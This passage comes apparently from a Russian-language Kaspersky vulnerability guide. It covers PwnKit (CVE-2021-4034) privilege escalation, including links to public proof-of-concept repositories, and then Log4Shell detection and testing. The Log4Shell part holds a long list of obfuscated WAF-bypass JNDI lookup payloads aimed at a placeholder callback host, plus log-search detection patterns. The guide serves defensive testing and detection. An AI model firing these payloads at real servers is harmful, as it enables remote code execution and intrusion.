параметров (исходная и целевая кодировки, а также имя библиотеки) 
считываются из файла конфигурации по умолчанию — /usr/lib/gconv/gconv-
modules. Также с помощью переменной среды GCONV_PATH можно 
заставить функцию iconv_open() считывать другой конфигурационный файл, 
который, если он должным образом подготовлен злоумышленником, 
приведет к выполнению контролируемой злоумышленником библиотеки с 
привилегией root.


Тогда в случае успешной эксплуатации этой уязвимости 
непривилегированные пользователи получат root-привилегии на атакуемом 
компьютере.

Как проверить, 
эксплуатировалась  
ли уязвимость и были 
ли попытки ее 
эксплуатации

Следы эксплуатации такого рода могут быть видны в журналах:

«The value for the SHELL variable was not found the /etc/shells 
file» (Значение переменной SHELL не найдено в файле /etc/shells);

или

«The value for environment variable [...] contains suscipious 
content» (Переменная среды [...] имеет подозрительное значение).

Однако, по словам тех, кто обнаружил уязвимость, эксплуатация возможна и 
без оставления следов. Вероятно, для этого загруженная вредоносная 
библиотека, управляющая преобразованием между различными 
кодировками, должна изменить выводимую строку на нулевую.

Ссылки Ссылки

 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034

POC

 https://github.com/lourkeur/cve-2021-4034-playgroun

 https://github.com/gbrsh/CVE-2021-4034 

#kaspersky

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034 
https://github.com/lourkeur/cve-2021-4034-playground
https://github.com/gbrsh/CVE-2021-4034  
https://github.com/lourkeur/cve-2021-4034-playground
https://github.com/gbrsh/CVE-2021-4034  
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3.3 Удаленное выполнение кода в Apache 
Log4j (CVE-2021-44228 и CVE-2021-45046)

Уязвимость CVE-2021-44228 and CVE-2021-45046

Тип Удаленное выполнение кода (RCE)

Описание Apache Log4j

Уязвимость удаленного выполнения кода, известная как Log4Shell, 
затрагивает экземпляры Apache Log4j2 в тех случаях, когда злоумышленники 
обладают правами на изменение файла конфигурации журнала и таким 
образом могут сформировать вредоносную конфигурацию с помощью JDBC 
Appender.


Уязвимость CVE-2021-44228 подвержена эксплуатации, начиная с Apache 
Log4j2 версии 2.0-beta7 до 2.15.0 (не включительно).


В некоторых нестандартных конфигурациях Log4j была обнаружена новая 
уязвимость, известная как CVE-2021-45046. Она появилась в результате 
неполного исправления ранее обнаруженной уязвимости CVE-2021-44228.


Эта уязвимость позволяет злоумышленникам выполнять произвольный код 
путем эксплуатации уязвимости во входных данных Thread Context Map 
(MDC), позволяющей создать вредоносные входные данные с применением 
шаблона поиска JNDI. Ранее выпущенное исправление версии 2.15.0 
оказалось неэффективным в плане устранения этой уязвимости.


В последних версиях Log4j (2.16.0 для Java 8 и 2.12.2 для Java 7) эта проблема 
решена: была отключена поддержка шаблонов поиска сообщений, а также 
отключена функциональность JNDI по умолчанию.

Как проверить наличие 
уязвимостей

Фаззинг — это метод проверки уязвимости системы путем отправки 
большого количества вариаций входных данных для выявления 
потенциальных уязвимостей. В контексте уязвимости Log4j фаззинг может 
включать в себя проверку различных комбинаций запросов в URL-адресах, 
заголовков HTTP типа User-Agent, поддельных писем и т. д. Фаззинг 
приложения позволяет оценить его уязвимость к Log4Shell. 


Один из способов фаззинга приложения в отношении Log4Shell — отправка 
запросов с фрагментами кода, такими как ${java:version}, например, в 
функцию org.apache.logging.log4j.Logger.error(). Если ответ указывает на 
выполнение кода, это означает, что система уязвима к атаке. Злоумышленник 
также может использовать JNDI (Java Naming and Directory Interface) для 
выполнения удаленного кода через LDAP.  

#kaspersky
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Как проверить наличие 
уязвимостей

Поэтому крайне важно тщательно протестировать приложение с помощью 
фаззинга, чтобы убедиться, что оно не устойчиво к атаке Log4Shell.Если 
запрос, содержащий ${jndi:xxx://DomainName.com}, будет выполнен успешно, 
сервер приложений выполнит DNS-резолвинг внешнего доменного имени 
DomainName.com. Этот DNS-запрос можно отследить в журналах сервера 
приложений путем поиска в них шаблона com.sun.jndi.dns.DnsContext@.Хотя 
резолвинг внешнего домена не подтверждает выполнение кода, он 
подтверждает уязвимость приложения. Поэтому также необходимо 
анализировать журналы на наличие признаков компрометации. Кроме того, 
злоумышленник может использовать запрос, содержащий строку ${jndi:dns://
dsn_server/record_TXT}, чтобы проверить наличие уязвимости Log4j.


Также существует множество автоматических сканеров, таких как log4j-scan 
(https://github.com/fullhunt/log4j-scan).

Даже если приложение защищено WAF (сетевым экраном веб-приложения), 
есть определенные методы его обхода.Вот некоторые запросы, позволяющие 
обходить WAF:

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://
{{хост_обратного_вызова}}/{{случайное_значение}}},


${${::-j}ndi:rmi://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${jndi:rmi://{{хост_обратного_вызова}}/{{случайное_значение}}},


${jndi:rmi://{{хост_обратного_вызова}}}/,


${${lower:jndi}:${lower:rmi}://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${${lower:${lower:jndi}}:${lower:rmi}://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://
{{хост_обратного_вызова}}/{{случайное_значение}}},


${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}
m${lower:i}}://{{хост_обратного_вызова}}/{{случайное_значение}}},


${jndi:dns://{{хост_обратного_вызова}}/{{случайное_значение}}},


${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${jndi:dns://{{хост_обратного_вызова}}},


${j${k8s:k5:-ND}i:ldap://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{хост_обратного_вызова}}/
{{случайное_значение}}},


${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//
{{хост_обратного_вызова}}/{{случайное_значение}}},


${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://
{{хост_обратного_вызова}}/{{случайное_значение}}},


${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//
{{хост_обратного_вызова}}/{{случайное_значение}}}, 
${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//
{{хост_обратного_вызова}}/{{случайное_значение}}},


${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}// 
{{хост_обратного_вызова}}/{{случайное_значение}},


${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-
p}${sd:k5:-:}//{{хост_обратного_вызова}}/{{случайное_значение}}},

#kaspersky
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${jndi:${lower:l}${lower:d}a${lower:p}://
{{хост_обратного_вызова}}},


${jnd${upper:i}:ldap://{{хост_обратного_вызова}}/
{{случайное_значение}}},


${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://
{{хост_обратного_вызова}}/{{случайное_значение}}}

ПРИМЕЧАНИЕ. Важно отметить, что отсутствие библиотеки Log4j  
в приложении совсем не означает, что система не уязвима, поскольку другая 
библиотека, загруженная этим приложением, может использовать уязвимую 
версию Log4j. Поэтому очень важно тщательно проверить приложение, 
используя различные входные данные, и проанализировать все 
обнаруженные уязвимости, чтобы обеспечить полную защиту  
от возможных эксплойтов.

Как проверить, 
эксплуатировалась ли 
уязвимость и были ли 
попытки ее 
эксплуатации

Чтобы определить, была ли уязвимость CVE-2021-44228 использована 
злоумышленником, необходимо тщательно изучить журналы сети.


Приведенные примеры строк обычно указывают на попытки эксплуатации 
системы, однако стоит отметить, что этот список не является 
исчерпывающим, а злоумышленники могут пользоваться и другими 
вариациями. Очень важно постоянно отслеживать и анализировать 
содержимое системных журналов на предмет любой подозрительной 
активности и применять надежные меры защиты для предотвращения и 
нейтрализации попыток эксплуатации:

${jndi:

Указанные ниже шаблоны могут помочь злоумышленникам обфусцировать 
свою деятельность и вызвать ложноположительные срабатывания. Чтобы 
снизить риск ложных срабатываний, следует использовать дополнительные 
методы, которые могли бы подтвердить наличие попыток эксплуатации 
системы.

${${


${::-


%24%7B%3A%3A-


${env:


${date:


${lower:


${upper:


hostName}


}${


%24%7Bjndi:


${jNdI:ldAp


${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:


${${lower:j}${lower:n}${lower:d}i:


${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:


${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}
dap${env:BARFOO:-:}

#kaspersky
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Кроме того, важно сопоставлять журналы DNS с приведенными выше 
элементами. Поиск DNS- и LDAP-инъекций, использующих класс JavaLookup, 
таких как ${java:hw}, ${java:vm} и ${java:os}, может быть полезен для 
обнаружения потенциальных атак, в ходе которых предпринимаются попытки 
собрать информацию о целевом компьютере. Злоумышленники обычно 
используют подобные инъекции для сбора конфиденциальной информации о 
системе. Отслеживая эти типы инъекций в системных журналах, отделы  
IT-безопасности могут обнаружить присутствие злоумышленников и 
предотвратить получение ими несанкционированного доступа к 
конфиденциальной информации.

Уточнение по поводу CVE-2021-45046

Злоумышленники могут прибегнуть к уязвимости в конфигурациях 
логирования, в которых используется нестандартный шаблон макета  
(pattern layout), где Context Lookup имеет вид $${ctx:loginId} или шаблон 
Thread Context Map — %X, %mdc или %MDC. Создав вредоносные входные 
данные с помощью шаблона поиска JNDI, злоумышленники могут получить 
контроль над входными данными Thread Context Map (MDC). Это может 
привести к утечке информации и потенциально к удаленному выполнению 
кода в определенных средах, а также к локальному выполнению кода  
во всех средах.

Ссылки Ссылки
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